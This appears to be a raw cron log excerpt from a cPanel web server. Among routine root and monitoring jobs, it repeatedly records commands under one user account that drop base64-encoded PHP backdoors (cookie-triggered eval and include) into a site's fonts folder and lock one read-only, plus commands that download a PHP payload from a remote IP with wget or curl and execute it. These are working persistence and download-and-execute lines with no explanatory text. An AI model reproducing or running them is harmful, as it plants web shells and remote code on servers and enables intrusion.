Sep 20 23:01:01 ip-184-168-122-23 CROND[22344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:01:01 ip-184-168-122-23 CROND[22345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:01:01 ip-184-168-122-23 CROND[22346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:01:01 ip-184-168-122-23 CROND[22349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22357]: finished 0anacron
Sep 20 23:02:01 ip-184-168-122-23 CROND[22528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:02:01 ip-184-168-122-23 CROND[22530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:02:01 ip-184-168-122-23 CROND[22529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:02:01 ip-184-168-122-23 CROND[22531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:02:01 ip-184-168-122-23 CROND[22533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:03:01 ip-184-168-122-23 CROND[22688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:03:01 ip-184-168-122-23 CROND[22690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:03:01 ip-184-168-122-23 CROND[22691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:03:01 ip-184-168-122-23 CROND[22693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:04:01 ip-184-168-122-23 CROND[22771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:04:01 ip-184-168-122-23 CROND[22770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:04:01 ip-184-168-122-23 CROND[22776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:04:01 ip-184-168-122-23 CROND[22775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:04:01 ip-184-168-122-23 CROND[22778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:05:01 ip-184-168-122-23 CROND[22861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:05:01 ip-184-168-122-23 CROND[22863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:05:01 ip-184-168-122-23 CROND[22865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:05:01 ip-184-168-122-23 CROND[22867]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 23:05:01 ip-184-168-122-23 CROND[22870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:05:01 ip-184-168-122-23 CROND[22868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:05:01 ip-184-168-122-23 CROND[22871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:06:01 ip-184-168-122-23 CROND[22956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:06:01 ip-184-168-122-23 CROND[22957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:06:01 ip-184-168-122-23 CROND[22959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:06:01 ip-184-168-122-23 CROND[22958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:06:01 ip-184-168-122-23 CROND[22960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:07:01 ip-184-168-122-23 CROND[23049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:07:01 ip-184-168-122-23 CROND[23050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:07:01 ip-184-168-122-23 CROND[23051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:07:01 ip-184-168-122-23 CROND[23052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:08:02 ip-184-168-122-23 CROND[23260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:08:02 ip-184-168-122-23 CROND[23262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:08:02 ip-184-168-122-23 CROND[23263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:08:02 ip-184-168-122-23 CROND[23265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:08:02 ip-184-168-122-23 CROND[23264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:09:01 ip-184-168-122-23 CROND[23370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:09:01 ip-184-168-122-23 CROND[23372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:09:01 ip-184-168-122-23 CROND[23373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:09:01 ip-184-168-122-23 CROND[23375]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 23:09:01 ip-184-168-122-23 CROND[23374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:10:01 ip-184-168-122-23 CROND[23467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:10:01 ip-184-168-122-23 CROND[23469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 23:10:02 ip-184-168-122-23 CROND[23472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:10:02 ip-184-168-122-23 CROND[23474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:10:02 ip-184-168-122-23 CROND[23476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:10:02 ip-184-168-122-23 CROND[23480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:10:02 ip-184-168-122-23 CROND[23479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:10:02 ip-184-168-122-23 CROND[23481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:11:01 ip-184-168-122-23 CROND[23573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:11:01 ip-184-168-122-23 CROND[23574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:11:01 ip-184-168-122-23 CROND[23575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:11:01 ip-184-168-122-23 CROND[23580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:12:01 ip-184-168-122-23 CROND[23677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:12:01 ip-184-168-122-23 CROND[23678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:12:01 ip-184-168-122-23 CROND[23679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:12:01 ip-184-168-122-23 CROND[23681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:12:01 ip-184-168-122-23 CROND[23680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:13:01 ip-184-168-122-23 CROND[23845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
